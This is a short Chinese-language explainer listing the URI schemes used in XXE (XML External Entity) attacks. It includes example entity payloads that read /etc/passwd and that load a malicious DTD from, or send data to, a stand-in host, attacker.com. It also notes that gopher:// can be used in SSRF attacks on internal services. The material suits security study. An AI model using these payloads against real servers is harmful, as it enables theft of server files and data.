XXE漏洞使用到的协议有哪些？

XXE（XML External Entity）漏洞常用到的协议主要有： 1. **file://** * 读取本地文件，比如： ```xml <!ENTITY xxe SYSTEM "file:///etc/passwd"> ``` * 常用于窃取服务器上的敏感文件内容。 2. **http\:// / https\://** * 通过远程请求获取恶意 DTD 或回传数据，例如： ```xml <!ENTITY % ext SYSTEM "http://attacker.com/malicious.dtd"> ``` * 常用于带外数据泄露（OOB XXE）。 3. **ftp\://** * 利用 FTP 传输数据到攻击者服务器，例如： ```xml <!ENTITY xxe SYSTEM "ftp://attacker.com/file"> ``` * 某些情况下可绕过 HTTP 请求限制。 4. **php\://**（PHP 环境特有） * 用于读取数据流，比如 `php://filter`、`php://input`，配合编码过滤可读取源码。 5. **gopher://** * 可构造二进制 TCP 数据包，常用于 SSRF 联动攻击内部服务（如 Redis、MySQL）。 6. **jar://**（Java 环境特有） * 访问 jar 包中的文件，有时能引发代码执行。 7. **其他 URI Scheme**（依运行环境而定） * `mailto:`（发送邮件）、`dict:`（字典查询协议）、`data:`（直接内联数据）等。